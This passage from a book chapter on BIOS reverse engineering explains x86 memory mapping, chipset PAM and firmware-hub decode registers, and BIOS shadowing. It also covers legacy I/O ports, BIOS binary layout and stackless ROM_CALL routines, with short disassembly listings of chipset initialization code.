interact with it. Unlike a modern-day operating system, DOS allows the application 
software to interact directly with the hardware. Thus, many predefined address ranges have 
to be maintained in today's PC hardware as they worked in the DOS days. Currently, the 
bulk of these predefined address range tasks are handled by the motherboard chipset, along 

                                                 
 
1 System logic is another term for motherboard chipset. 
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with present-day bus protocols. These predefined address ranges lie in the first megabyte of 
x86 address space, i.e., 0x0_0000–0xF_FFFF. Be aware that this address range is mapped 
not only to RAM but also to several other memory-mapped hardware elements in the PC 
(more on this later). 
 An x86 CPU begins its execution at physical address 0xFFFF_FFF0. This is the 
address of the first instruction within the motherboard BIOS. It's the responsibility of the 
motherboard chipset to remap this address into the system BIOS chip. The system BIOS is 
the first program that the processor executes. Table 4.1 explains the typical memory map of 
an x86-based system just after the system BIOS has finished initialization. 
 
System-wide 
Addressing 

Specific 
Address Range Explanation 

0x0_0000–
0x9_FFFF 

DOS Area 
The DOS area is 640 KB and is always mapped to the 
main memory (RAM) by the motherboard chipset. 

0xA_0000–
0xB_FFFF 

Legacy VGA Ranges and/or Compatible SMRAM 
Address Range 
The legacy 128-KB VGA memory range 0xA0000–
0xBFFFF (frame buffer) can be mapped to an AGP or 
PCI device. However, when compatible SMM space is 
enabled, SMM-mode processor accesses to this range 
are routed to physical system memory at this address. 
Non-SMM-mode processor accesses to this range are 
considered to be to the video buffer area as described 
previously. 

0xC_0000–
0xD_FFFF 

Expansion ROM Area 
This is the 128-KB ISA or PCI expansion ROM region. 
The system BIOS copies PCI expansion ROM to this 
area in RAM from the corresponding PCI expansion 
card ROM chip and executes it from there. As for ISA 
expansion ROM, it only exists on systems that support 
an ISA expansion card, and sometimes the expansion 
ROM chip of the corresponding card is hardwired to a 
certain memory range in this area. In most cases, part 
of this memory range can be assigned one of four 
read/write states: read only, write only, read/write, or 
disabled. The setting of certain motherboard chipset 
registers controls this state assignment. The system 
BIOS is responsible for assigning the correct 
read/write state. 

0xE_0000–
0xE_FFFF 

Extended System BIOS Area 
This 64-KB area can be assigned read and write 
attributes so that it can be mapped either to main 
memory or to the BIOS ROM chip via the system 
chipset. Typically, this area is used for RAM or ROM. 
On systems that only support 64-KB BIOS ROM chip 
capacity, this memory area is always mapped to RAM. 

Compatibility 
Area 
(0x0_0000–
0xF_FFFF)

0xF_0000–
0xF_FFFF 

System BIOS Area 
This area is a 64-KB segment. This segment can be 

 
 

2 



assigned read and write attributes. It is by default 
(after reset) read/write disabled, and cycles are 
forwarded to the BIOS ROM chip via the system 
chipset. By manipulating the read/write attributes, the 
system chipset can "shadow" the BIOS into the main 
memory. When disabled, this range is not remapped to 
main memory by the chipset. 

0x10_0000–
Top_of_RAM 

Main System Memory from 1 MB (10_0000h) to the 
Top of the RAM 
This area can have a hole, i.e., an area not mapped to 
RAM but mapped to ISA devices. This hole depends 
on the motherboard chipset configuration. 

Extended 
Memory Area 
(0x10_0000–
0xFFFF_FFFF) Top_of_RAM–

0xFFFF_FFFF 
(4 GB) 

AGP or PCI Memory Space 
This area has two specific ranges: 
APIC_Configuration_Space from 0xFEC0_0000 (4 
GB–20 MB) to 0xFECF_FFFF and 0xFEE0_0000 to 
0xFEEF_FFFF. This mapping depends on the 
motherboard chipset. If the chipset doesn't support 
APIC, then this mapping doesn't exist. 
High BIOS area from 4 GB to 2 MB. This address 
range is mapped into the BIOS ROM chip. Yet, it 
depends on the motherboard chipset. Some chipsets 
only support mapping 0xFFFC_0000 (4 GB–256 KB) to 
0xFFFF_FFFF (4 GB) for the BIOS ROM chip. 
However, at least the 0xFFFF_0000 (4 GB–64 KB) to 
0xFFFF_FFFF (4 GB) memory space is guaranteed to 
map into the BIOS ROM chip for all motherboard 
chipsets. 
In most cases, anything outside of these specific 
ranges but within the PCI memory space 
(Top_of_RAM–4 GB) is mapped to a PCI or AGP 
device that needs to map "local memory" (memory 
local to the PCI card) to the system memory space. 
This mapping is normally initialized by the system 
BIOS. Access to this memory space is routed by the 
system chipset (memory controller). In the case of 
AMD Athlon 64 and Opteron platforms, the processor 
handles this routing because the memory controller is 
embedded in the processor itself. 

Table 4.1 System-wide address mapping for 32-bit compatible x86 processors 

 
 The whole story is more than the preceding table. There are two more concepts 
that need to be understood, i.e., address aliasing and BIOS shadowing. 
 Address aliasing refers to the capability of the motherboard chipset to map two 
different physical address ranges2 into one physical address range within a device all at 
                                                 
 
2 In this context, these address ranges are seen from the processor's perspective.
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once. For example, every x86 chipset maps the 0xF_0000–0xF_FFFF address range and the 
0xFFFF_F000–0xFFFF_FFFF address range to the last segment3 of the BIOS ROM chip. 
 BIOS shadowing refers to the capability of the motherboard chipset to map one 
physical address range into two different physical devices in two different instances. For 
example, the 0xF000–0xFFFF address range can point to the last segment of the BIOS 
ROM chip at one instance and then point to the RAM4 at the other instance, depending on 
certain chipset register settings. 
 Now, see how these concepts work in a real-world scenario. Start with the address 
aliasing samples. I'm going to present address aliasing examples from the Intel 955X-ICH7 
chipset. To understand the whole system, you have to look at the block diagram. 
 

                                                 
 
3 The segment size is 64 KB because the processor is in real mode at this point. 
4 The same address range in RAM. 
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Figure 4.1 Intel 955X-ICH7 block diagram 

 The block diagram in figure 4.1 depicts the connections between the northbridge, 
the southbridge, and the BIOS chip. The northbridge connects to the southbridge via the 
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direct media interface (DMI)5, and the southbridge connects to the BIOS ROM via the LPC 
interface. There's no direct physical connection between the northbridge and the BIOS chip. 
Thus, any read or write transaction from the processor to the BIOS chip will travel through 
the northbridge, then the DMI, then the southbridge, and through the LPC interface to the 
BIOS chip. In addition, any logic operation6 performed by the northbridge and the 
southbridge as the read or write transaction travels through them will affect the transaction 
that finally arrives in the BIOS chip. Note that LPC doesn't alter the transactions between 
the southbridge and the BIOS chip. 
 

 
                                                 
 
5 Direct media interface (DMI) is the term used by Intel to refer to the connection between the 
northbridge and southbridge in Intel 955X Express chipset. 
6 A logic operation in this context means a logic operation used for address space translation, such as 
masking the destination address of the read/write operation or a similar task. 
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Figure 4.2 Intel 955X-ICH7 power-on default system address map 

 
 Figure 4.2 shows the Intel 955X Express system memory map from the CPU 
perspective just after power-on. Be aware that the memory controller7 carries out this 
memory-mapping task. As shown in figure 4.2, the 0xFFFF_0000–0xFFFF_FFFF address 
range is an alias into 0xF_0000–0xF_FFFF.8 The last segment of the BIOS ROM chip is 
mapped into this address range. Hence, whenever a code writes to or reads from this 
address range, the operation is forwarded to the southbridge by the northbridge; there is no 
direct connection between the BIOS chip and the northbridge. This only applies at the 
beginning of the boot stage, i.e., just after reset. Usually, the 0xF_0000–0xF_FFFF address 
range will be mapped into the system dynamic random access memory (DRAM) chip after 
the BIOS reprograms the northbridge registers. The address mapping is reprogrammed 
using the northbridge DRAM control register located in the northbridge PCI configuration 
register. Intel has a specific name for these registers across its chipset datasheets, i.e., 
Programmable Attribute Map registers. Let's see how it looks like in the datasheet. The 
Intel 955X datasheet, page 67, section 4.1.20, says: 
 

PAM0: Programmable Attribute Map 0 (D0:F0) 
PCI Device:                       0 
Address Offset:                 90h 
Default Value:                   00h 
Access:                             R/W 
Size:                                8 Bits 
 
 This register controls the read, write, and shadowing attributes of the BIOS 
area from 0F_0000h–0F_FFFFh. 
  
The MCH9 allows programmable memory attributes on 13 legacy memory 
segments of various sizes in the 768-KB to 1-MB address range. Seven 
Programmable Attribute Map (PAM) registers support these features. Cache 
ability of these areas is controlled via the MTRR registers in the P6 
processor. Two bits are used to specify memory attributes for each memory 
segment. These bits apply to both host accesses and PCI initiator accesses 
to the PAM areas. These attributes are: 
  
RE (Read Enable). When RE=1, the processor read accesses to the 
corresponding memory segment are claimed by the MCH and directed to 
main memory. Conversely, when RE=0, the host read accesses are directed 
to PRIMARY PCI.10

                                                 
 
7 The memory controller is part of the northbridge in the Intel 955X chipset. However, for AMD64 
systems, the memory controller is embedded in the processor. 
8 This is address aliasing, i.e., using two or more address ranges in the system-wide memory map for 
the same address range in one physical device. In this particular sample, the F_0000h–F_FFFFh 
address range is aliased to FFFF_0000h–FFFF_FFFFh. 
9 MCH in this datasheet snippet refers to the Intel 955X northbridge. 
10 PRIMARY PCI in this context refers to the DMI as shown in figure 4.1. 
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WE (Write Enable). When WE=1, the processor write accesses to the 
corresponding memory segment are claimed by the MCH and directed to 
main memory. Conversely, when RE=0, the host read accesses are directed 
to PRIMARY PCI. 
  
The RE and WE attributes permit a memory segment to be read only, write 
only, read/write, or disabled. For example, if a memory segment has RE = 1 
and WE = 0, the segment is read only. 
  
Each PAM Register controls two regions, typically 16 KB in size. 
 

Bit 
Access & 
Default 

Description 

7:6  Reserved 
5:4 R/W 

00b 
0F_0000h–0F_FFFFh Attribute (HIENABLE): This 
field controls the steering of read and write cycles that 
addresses the BIOS area from 0F_0000h to 0F_FFFFh. 
 
00 = DRAM Disabled: All accesses are directed to the 
DMI. 
 
01 = Read Only: All reads are sent to DRAM. Writes are 
forwarded to the DMI. 
 
10 = Write Only: All writes are sent to DRAM. Reads 
are serviced by DMI. 
 
11 = Normal DRAM Operation: All reads and writes are 
serviced by DRAM. 

3:0  Reserved 
 
 The highlighted part of the table in the preceding datasheet snippet shows that by 
default 0xF_0000–0xF_FFFF address range is "DRAM Disabled." This means that any read 
or write transactions to this address range are forwarded to the southbridge by the 
northbridge, not to the RAM. This is BIOS shadowing. Because of the northbridge setting, 
the BIOS ROM chip shadows part of the RAM,11 making the RAM in that address range 
inaccessible. 

                                                 
 
11 The corresponding address range in the RAM. 
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Figure 4.3 Accessing the contents of the BIOS chip during use of the "DRAM Disabled" setting 

 
 The dashed red arrow in the figure 4.3 shows that read/write transactions to the 
BIOS ROM chip are forwarded from the CPU when register 90h of the Intel 955X 
northbridge is in the power-on default value.12 Remember that this applies only when the 
CPU is accessing the 0xF_0000–0xF_FFFF address range. 
 

                                                 
 
12 The power-on default value for the PAM0 register sets bit 4 and bit 5 to 0. 
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Figure 4.4 Accessing the contents of the BIOS chip during use of the "Write Only" setting 

 
 The dashed red arrow in figure 4.4 shows that read transactions from the CPU are 
forwarded to the BIOS ROM chip via the northbridge and the southbridge. The dashed blue 
arrow shows that write transactions are forwarded to the system RAM via the northbridge. 
Both transactions occurred when the value of bit 4 is 0b and that of bit 5 is 1b in the 
northbridge's 90h register. This register setting is called "Write Only." Remember that this 
applies only when the CPU is accessing the 0xF_0000–0xF_FFFF address range. 

 
 

10 



 
Figure 4.5 Accessing the contents of the BIOS chip during use of the "Read Only" setting 

 
 The dashed blue arrow in figure 4.5 shows that write transactions from the CPU 
are forwarded to the BIOS ROM chip via the northbridge and the southbridge. The dashed 
red arrow shows that read transactions are forwarded to the system RAM via the 
northbridge. Both transactions occurred when the value of bit 4 is 1b and bit 5 is 0b in the 
northbridge's register 90h. This register setting is called "Read Only." Remember that this 
applies only when the CPU is accessing the 0xF_0000–0xF_FFFF address range. 
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Figure 4.6 Accessing the contents of the BIOS chip during “normal DRAM operation” setting 

 
 The dashed red arrow in figure 4.6 shows that read and write transactions from 
the CPU are forwarded to the system RAM chip via the northbridge. Both transactions 
occurred when the value of bit 4 is 1b and that of bit 5 is 1b in the northbridge's 90h 
register. This register setting is called "Normal DRAM Operation." Remember that this 
applies only when the CPU is accessing the 0xF_0000–0xF_FFFF address range. 
 The previous figures show how BIOS shadowing works for the last BIOS segment. 
Other segments work in a similar way. It's just the register, control bits position, or both 
that differ. This conclusion holds true even for different chipsets and different bus 
architecture. 
 The preceding explanations seem to indicate that any code will be able to write 
into the BIOS ROM chip once the northbridge grants write access to the BIOS ROM chip. 
However, this is not the case. In practice, the BIOS ROM chip has a write protection 
mechanism that needs to be disabled before any code can write into it. Then, what do all of 
the preceding explanations mean? They mean that the mechanism is provided for BIOS 
shadowing purposes, i.e., not for altering BIOS contents. For example, when a code in the 
BIOS sets the PAM control register to "write only," it can read part of the BIOS directly 
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from the BIOS ROM chip and subsequently copies that value to the same address within 
the system RAM, because every write operation is forwarded to RAM. 
 In the case of Intel 955X-ICH7 motherboards, there is an additional logic that 
controls BIOS ROM accesses in the southbridge (ICH7) for the last segment of the BIOS 
chip, i.e., 0xF_0000–0xF_FFFF and its alias 0xFFFF_0000–0xFFFF_FFFF. Thus, accesses 
to this last segment are forwarded to the BIOS chip by the southbridge if the corresponding 
control registers enable the address decoding for the target address range. Nevertheless, the 
power-on default value in ICH7 enables the decoding of all address ranges possibly used by 
the BIOS chip. This can be seen from the ICH7 datasheet, page 373, section 10.1.28. The 
values of this register are reproduced in table 4.2. 
 

Bit Description 

15 

FWH_F8_EN—RO. This bit enables decoding of two 512-KB firmware 
hub memory ranges and one 128-KB memory range. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FFF80000h–FFFFFFFFh 
FFB80000h–FFBFFFFFh 

14 

FWH_F0_EN—R/W. Enables decoding of two 512-KB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FFF00000h–FFF7FFFFh 
FFB00000h–FFB7FFFFh 

13 

FWH_E8_EN—R/W. Enables decoding of two 512-KB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FFE80000h–FFEFFFFFh 
FFA80000h–FFAFFFFFh 

12 

FWH_E0_EN—R/W. Enables decoding of two 512-KB firmware hub 
memory ranges 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FFE00000h–FFE7FFFFh 
FFA00000h–FFA7FFFFh 

11 

FWH_D8_EN—R/W. Enables decoding of two 512-KB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FFD80000h–FFDFFFFFh 
FF980000h–FF9FFFFFh 

10 

FWH_D0_EN—R/W. Enables decoding of two 512-KB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FFD00000h–FFD7FFFFh 
FF900000h–FF97FFFFh 
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9 

FWH_C8_EN—R/W. Enables decoding of two 512-KB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FFC80000h–FFCFFFFFh 
FF8800000h–FF8FFFFFh 

8 

FWH_C0_EN—R/W. Enables decoding of two 512-KB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FFF00000h–FFF7FFFFh 
FFB00000h–FFB7FFFFh 

7 

FWH_Legacy_F_EN—R/W. Enables decoding of the legacy 128-KB 
range at F0000h–FFFFFh. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
F0000h–FFFFFh 

6 

FWH_Legacy_E_EN—R/W. Enables decoding of the legacy 128-KB 
range at E0000h–EFFFFh. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
E0000h–EFFFFh 

5:4 Reserved 

3 

FWH_70_EN—R/W. Enables decoding of two 1-MB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FF70 0000h–FF7F FFFFh 
FF30 0000h–FF3F FFFFh 

2 

FWH_60_EN—R/W. Enables decoding of two 1-MB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FF60 0000h–FF6F FFFFh 
FF20 0000h–FF2F FFFFh 

1 

FWH_50_EN—R/W. Enables decoding of two 1-MB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FF50 0000h–FF5F FFFFh 
FF10 0000h–FF1F FFFFh 

0 

FWH_40_EN—R/W. Enables decoding of two 1-MB firmware hub 
memory ranges. 
0 = Disable 
1 = Enable the following ranges for the firmware hub: 
FF40 0000h–FF4F FFFFh 
FF00 0000h–FF0F FFFFh 

Table 4.2 Firmware hub decode enable register explanation 
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 Any read or write accesses to address ranges shown in table 4.2 can be terminated 
in the southbridge, i.e., not forwarded to the BIOS ROM chip if the firmware hub Decode 
Control register bits value prevents the address ranges from being included in the ROM 
chip select signal decode. 
 From the preceding chipsets analysis, you can conclude that the northbridge is 
responsible for system address space management, i.e., BIOS shadowing, handling 
accesses to RAM, and forwarding any transaction that uses the BIOS ROM as its target to 
the southbridge, which then is eventually forwarded to the BIOS ROM by the southbridge. 
Meanwhile, the southbridge is responsible for enabling the ROM decode control, which 
will forward (or not) the memory addresses to be accessed to the BIOS ROM chip. The 
addresses shown in table 4.3 can reside either in the system DRAM or in the BIOS ROM 
chip, depending on the southbridge and northbridge register setting at the time the BIOS 
code is executed. 
 
Physical 
Address Also Known As Used by Address Aliasing Note 

000F_0000h–
000F_FFFFh F_seg/F_segment 

1 Mb, 2 Mb, 
and 4 Mb 
BIOS 

Alias to FFFF_0000h–
FFFF_FFFFh in all chipsets just 
after power-up 

000E_0000h–
000E_FFFFh E_seg/E_segment 

1 Mb, 2 Mb, 
and 4 Mb 
BIOS 

Alias to FFFE_0000h–
FFFE_FFFFh in some chipsets just 
after power-up 

Table 4.3 BIOS ROM chip address mapping 

 
 The address ranges shown in table 4.3 contain the BIOS code, which is system 
specific. Therefore, you have to consult the chipset datasheets to understand it. Also, note 
that the preceding address that will be occupied by the BIOS code during runtime14 is only 
the F_seg15 i.e., 0xF_0000–0xF_FFFF. Nevertheless, certain operating systems16 might 
"trash"17 this address and use it for their purposes. The addresses written in table 4.3 only 
reflect the addressing of the BIOS ROM chip to the system address space when it's set to be 
accessed by the BIOS code or another code that accesses the BIOS ROM chip directly. 
 The motherboard chipsets are responsible for the mapping of a certain BIOS ROM 
chip area to the system address space. As shown, this mapping can be changed by 
programming certain chipset registers. A BIOS chip with a capacity greater than 1 Mb (i.e., 
2-Mb and 4-Mb chips) has quite different addressing for its lower BIOS area (i.e., C_seg, 
D_seg, and other lower segments). In most cases, these areas are mapped to the near-4-GB 

                                                 
 
14 After the BIOS code executes. 
15 From this point on, F_seg will refer to the F_0000h–F_FFFFh address range. 
16 Mostly embedded operating systems. 
17 Overwrite everything in the corresponding address range. 
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address range. This address range is handled by the northbridge analogous to the PCI 
address range. 
 The conclusion is that modern-day chipsets perform emulation for F_seg and 
E_seg18 handling. This is a proof that modern-day x86 systems maintains backward 
compatibility. As a note, most x86 chipsets use this address aliasing scheme, at least for the 
F-segment address range, and most chipsets only provide the default addressing scheme for 
the F-segment just after power-up in its configuration registers while other BIOS ROM 
segments remain inaccessible. The addressing scheme for these segments is configured 
later by the boot block code by altering the related chipset registers (in most cases, the 
southbridge registers). 
 The principles explained previously hold true for systems from ISA Bus to 
modern-day systems, which connect the BIOS ROM chip to the southbridge through the 
LPC interface Intel has introduced. 
 
 
4.1.2. Obscure Hardware Ports 
 
 Some obscure hardware ports may not be documented in the chipset datasheets. 
However, the chipset implies that those ports are already industry standard ports, and, 
indeed, they are. Thus, some datasheets don't describe them. However, chipset datasheets 
from Intel are helpful in this matter. They always include an explanation of those ports. I 
present some of those ports here. I strongly recommend that you read Intel or other chipset 
datasheets for further information. 
 

I/O Port address              Purpose 
92h                                   Fast A20 and Init Register 
4D0h                                Master PIC Edge/Level Triggered (R/W) 
4D1h                               Slave PIC Edge/Level Triggered (R/W) 
 
Table 146. RTC I/O Registers 
I/O Port Locations               Function 
70h and 74h           Also alias to 72h and 76h 
                             Real-Time Clock (Standard RAM) Index Register 
 
71h and 75h           Also alias to 73h and 77h 
                             Real-Time Clock (Standard RAM) Target Register 
 
72h and 76h          Extended RAM Index Register (if enabled) 
 
73h and 77h         Extended RAM Target Register (if enabled) 
 
NOTES: 
 I/O locations 70h and 71h are the standard ISA location for the real-time 
clock. The map for this bank is shown in Table 147. Locations 72h and 73h 
are for accessing the extended RAM. The extended RAM bank is also 

                                                 
 
18 From this point on, E_seg will refer to E_0000h–E_FFFFh address range. 
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accessed using an indexed scheme. I/O address 72h is used as the address 
pointer and I/O address 73h is used as the data register. Index addresses 
above 127h are not valid. If the extended RAM is not needed, it may be 
disabled. 
  
Software must preserve the value of bit 7 at I/O addresses 70h. When 
writing to this address, software must first read the value, and then write 
the same value for bit 7 during the sequential address write. Note that port 
70h is not directly readable. The only way to read this register is through Alt 
Access mode. If the NMI# enable is not changed during normal operation, 
software can alternatively read this bit once and then retain the value for all 
subsequent writes to port 70h. 
 
 The RTC contains two sets of indexed registers that are accessed using the 
two separate Index and Target registers (70/71h or 72/73h), as shown in 
Table 147. 
 
Table 147. RTC (Standard) RAM Bank 
Index   Name 
00h     Seconds 
01h     Seconds Alarm 
02h     Minutes 
03h     Minutes Alarm 
04h     Hours 
05h     Hours Alarm 
06h     Day of Week 
07h     Day of Month 
08h     Month 
09h     Year 
0Ah     Register A 
0Bh     Register B 
0Ch     Register C 
0Dh     Register D 
0Eh–7Fh 114 Bytes of User RAM 

 
Furthermore, the LPC bus specification defines the usage of motherboard-specific I/O 
resources. However, the LPC specification doesn't cover the usage of all motherboard I/O 
resources, i.e. I/O addresses 0000h—00FFh. Table 4.4 depicts the usage of I/O address 
ranges by LPC bus. 
 

Device I/O Address Range Usage I/O Address Range(s) 
Parallel port 1 of 3 ranges 378h—37Fh (+ 778h—77Fh for ECP) 

278h—27Fh (+ 678h—67Fh for ECP) 
3BCh—3BFh (+ 7BCh—7BFh for ECP) 
Note: 279h is read only. Writes to 
279h are forwarded to ISA for plug-
and-play. 

Serial ports 2 of 8 ranges 3F8h—3FFh, 2F8h—2FFh, 220h—
227h, 228h—22Fh, 238h—23Fh, 
2E8h—2EFh, 338h—33Fh, 3E8h—
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3EFh 
Audio 1 of 4 ranges SoundBlaster compatible: 

220h—233h, 240h—253h, 260h—
273h, 280h—293h 

Musical 
instrument 
digital 
interface 

1 of 4 ranges 300h—301h, 310h—311h, 320h—
321h, 330h—331h 

Microsoft 
sound 
system 

1 of 4 ranges 530h—537h, 604h—60Bh, E80h—
E87, F40h—F47h 

Floppy disk 
controller 

1 of 2 ranges 3F0h—3F7h, 370h—377h 

Game ports 2 1-byte ranges Each mapped to any single byte in the 
200h—20Fh range. 

Wide 
generic 

16–bit base address 
register 
 
512 bytes wide 

Can be mapped anywhere in the lower 
64 KB. AC '97 and other configuration 
registers are expected to be mapped to 
this range. It is wide enough to allow 
many unforeseen devices to be 
supported. 

Keyboard 
controller 

60h and 64h  

ACPI 
embedded 
controller 

62h and 66h  

Ad-lib 388h—389h  
Super I/O 
configuration 

2Eh—2Fh  

Alternate 
super I/O 
configuration 

4E—4Fh  

Table 4.4 LPC bus I/O address usage 

The super I/O configuration address range and its alternate address range are the most 
interesting among the I/O address ranges in table 4.4. In most circumstances, they are used 
to configure the chipset to enable access to the BIOS chip, besides being used for other 
super I/O–specific tasks. 
 
 
4.1.3. Relocatable Hardware Ports 
 
 Several kinds of hardware ports are relocatable in the system I/O address space, 
including SMBus-related ports and power management–related ports. These ports have a 
certain base address. The so-called base address is controlled using the programmable base 
address register (BAR). SMBus has an SMBus BAR, and power management has a power 
management I/O BAR. Because these ports are programmable, the boot block routine 
initializes the value of the BARs in the beginning of routine BIOS execution. Because of 
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the programmable nature of these ports, you must start reverse engineering of the BIOS in 
the boot block to find out which port addresses are used by these programmable hardware 
ports. Otherwise, you will be confused by the occurrence of weird ports later in the reverse 
engineering process. An example of this case provided in listing 4.1. 
 

Listing 4.1 SMBus and ACPI BAR Initialization for VIA693A-596B 

      Mnemonic 
  mov   si, 0F6C4h      ; Pointer to chipset mask byte and reg addr below 
 
next_PCI_offset: 
  mov   cx, cs:[si] 
  mov   sp, 0F610h 
  jmp   BBlock_read_pci_byte 
; ----------------------------------------------------------------------- 
  dw 0F612h 
; ----------------------------------------------------------------------- 
  and   al, cs:[si+2] 
  or    al, cs:[si+3] 
  mov   sp, 0F620h 
  jmp   BBlock_write_PCI_byte 
; ----------------------------------------------------------------------- 
  dw 0F622h 
; ----------------------------------------------------------------------- 
  add   si, 4 
  cmp   si, 0F704h      ; Is this the last byte to write? 
  ......... 
  mov   cx, 3B91h 
  mov   al, 50h         ; Set SMBus I/O Base hi_byte to 50h 
                        ; so that now SMBus I/O Base is at port 5000h 
  mov   sp, 0F65Bh 
  jmp   BBlock_write_PCI_byte 
  ......... 
  mov   dx, 4005h       ; Access ACPI Reg 05h 
  mov   al, 80h 
  out   dx, al 
  ......... 
  dw 3B48h              ; Power management I/O reg base addr 
  db    0               ; Pwr mgmt I/O reg base addr - lo-byte mask 
  db    0               ; Pwr mgmt I/O reg base addr - lo-byte value 
  dw 3B49h              ; Pwr mgmt I/O reg base addr 
  db  40h ; @           ; and mask 
  db  40h ; @           ; Pwr mgmt I/O base addr = I/O Port 4000h 
 
 There are more relocatable hardware ports than those described here. But at least 
you've been given the hints about them. Thus, once you find code in the BIOS that seems to 
be accessing weird ports, you know where to go. 
 Before closing this subsection, I would like to remind you that there are 
relocatable registers in the memory address space. However, you saw in chapter 1 that these 
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registers pertain to the new bus protocols, i.e., PCI Express and HyperTransport. Thus, the 
explanation won't be repeated here. 
 
 
4.1.4. Expansion ROM Handling 
 
 There are more things to take into account, such as the video BIOS and other 
expansion ROM handling. The video BIOS is an expansion ROM; thus, it's handled in a 
way similar to that for other expansion ROMs. The basic rundown of PCI expansion ROM 
handling during boot is as follows: 
 

1. The system BIOS detects all PCI chips in the system and initialize the BARs. 
Once the initialization completes, the system will have a usable system-wide 
addressing scheme. 

2. The system BIOS then copies the implemented PCI expansion ROM into RAM 
one by one in the expansion ROM area,20 using the system-wide addressing 
scheme, and executes them there until all PCI expansion ROM have been 
initialized. 

 
 
4.2. BIOS Binary Structure 
 
 The logical structure of the BIOS binary as it fits the overall system address map21 
is depicted in figure 4.7. 
 

                                                 
 
20 The expansion ROM area in RAM is the C000:0000h–D000:FFFFh address range. 
21 System address map in this context is mapping of the memory address space. 
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Figure 4.7 Typical BIOS binary logical view within the system address map 

 
 You learned in previous sections that x86 systems start execution at address 
0xFFFF_FFF0. In figure 4.7, it is located in the boot block area. This area is the 
uncompressed part of the BIOS binary. Hence, the processor can directly execute the code 
located there. Other areas in the BIOS chip are occupied by padding bytes, compressed 
BIOS components, and some checksums. This is the general structure of modern-day 
BIOS, regardless of vendor. 
  The boot block contains the code used to verify the checksums of the compressed 
BIOS component and the code used to decompress them. The boot block also contains 
early hardware testing and initialization code. 
 The part of the BIOS that takes care of most initialization tasks, i.e., POST, is 
called the system BIOS. In Award BIOS, this component sometimes is called original.tmp 
by BIOS hackers because of the name of the compressed system BIOS. The system BIOS is 
jumped into by the boot block after the boot block finishes its task. Note that the system 
BIOS manages other compressed BIOS components during its execution. It does so by 
decompressing, relocating, and executing the decompressed version of those components as 
needed. 
 
 
4.3. Software Peculiarities 
 
 There are some tricky areas in the BIOS code because of the execution of some of 
its parts in ROM. I present some of my findings here. 
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4.3.1. call Instruction Peculiarity 
 
 The call instruction is not available during BIOS code execution within the BIOS 
ROM chip. This is because the call instruction manipulates the stack when there is no 
writeable area in the BIOS ROM chip to be used for the stack. What I mean by 
manipulating the stack is that the implicit push instruction is executed by the call 
instruction to save the return address in the stack. As you know, the address pointed to by 
ss:sp register pair at this point is in ROM,22 meaning you can't write into it. So why don't 
you use the RAM altogether? The DRAM chip is not even available at this point. It hasn't 
been tested by the BIOS code. Thus, you don't even know if RAM exists! There is a 
workaround for this issue. It is called cache-as-RAM. However, it only works in 
contemporary processors. I will delve into it later. 
 
 
4.3.2. retn Instruction Peculiarity 
 
 There is a macro called ROM_CALL that's used for a stackless procedure call, i.e., 
calling a procedure without the existence of a stack. This has to be done during boot block 
execution because RAM is not available and the code is executed within the BIOS ROM 
chip. In some BIOSs, the called procedure returns to the calling procedure with the retn 
instruction. Let me explain how to accomplish it. Remember that the retn instruction uses 
the ss:sp register pair to point to the return address. See how this fact is used in the 
ROM_CALL macro (listing 4.2). 
 

Listing 4.2 ROM_CALL Macro Definition 

ROM_CALL      MACRO   PROC_ADDR 
       LOCAL  RET_ADDR 
       mov    sp,offset RET_ADDR 
       jmp    PROC_ADDR 
RET_ADDR:     dw      $+2 
              ENDM 
 
 An example of this macro in action is shown in listing 4.3. 
 

Listing 4.3 ROM_CALL Macro Sample Implementation 

Address     Mnemonic 
F000:61BC   mov   cx, 6Bh         ; DRAM arbitration control 

                                                 
 
22 The ss:sp register pair points to address in the BIOS ROM chip before the BIOS is shadowed and 
executed in RAM. 
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F000:61BF   mov   sp, 61C5h 
F000:61C2   jmp   F000_6000_read_pci_byte 
F000:61C2 ; ------------------------------------------------------------- 
F000:61C5   dw 61C7h 
F000:61C7 ; ------------------------------------------------------------- 
F000:61C7   or    al, 2           ; Enable virtual channel DRAM 
......... 
F000:6000 F000_6000_read_pci_byte proc near ; 
F000:6000   mov   eax, 80000000h 
F000:6006   mov   ax, cx          ; Copy offset addr to ax 
F000:6008   and   al, 0FCh        ; Mask it 
F000:600A   mov   dx, 0CF8h 
F000:600D   out   dx, eax 
F000:600F   mov   dl, 0FCh 
F000:6011   or    dl, cl          ; Get the byte addr 
F000:6013   in    al, dx          ; Read the byte 
F000:6014   retn 
F000:6014 F000_6000_read_pci_byte endp 
 
 As you can see in listing 4.3, you have to take into account that the retn 
instruction is affected by the current value of the ss:sp register pair. However, the ss 
register is not even loaded with the correct 16-bit protected mode value before you use it! 
How does this code even work? The answer is complicated. Look at the last time the ss 
register value was manipulated before the preceding code was executed (listing 4.4). 
 

Listing 4.4 Initial Value of ss in Boot Block 

Address     Mnemonic 
F000:E060   mov   ax, cs 
F000:E062   mov   ss, ax          ; ss = cs (ss = F000h a.k.a. F_segment) 
F000:E064   assume ss:F000 
 
; Note: the routine above is executed in 16-bit real-mode 
 
......... 
F000:6043 GDTR_F000_6043 dw 18h  ; 
F000:6043                        ; Limit of GDTR (3 valid desc entry) 
F000:6045   dd 0F6049h           ; GDT physical addr (below) 
F000:6049   dq 0                 ; Null descriptor 
F000:6051   dq 9F0F0000FFFFh     ; Code descriptor: 
F000:6051                        ; base addr = F 0000h 
F000:6051                        ; limit=FFFFh (64 KB) 
F000:6051                        ; DPL=0; exec/ReadOnly, conforming, 
F000:6051                        ; accessed 
F000:6051                        ; granularity = byte; Present; 
F000:6051                        ; 16-bit segment 
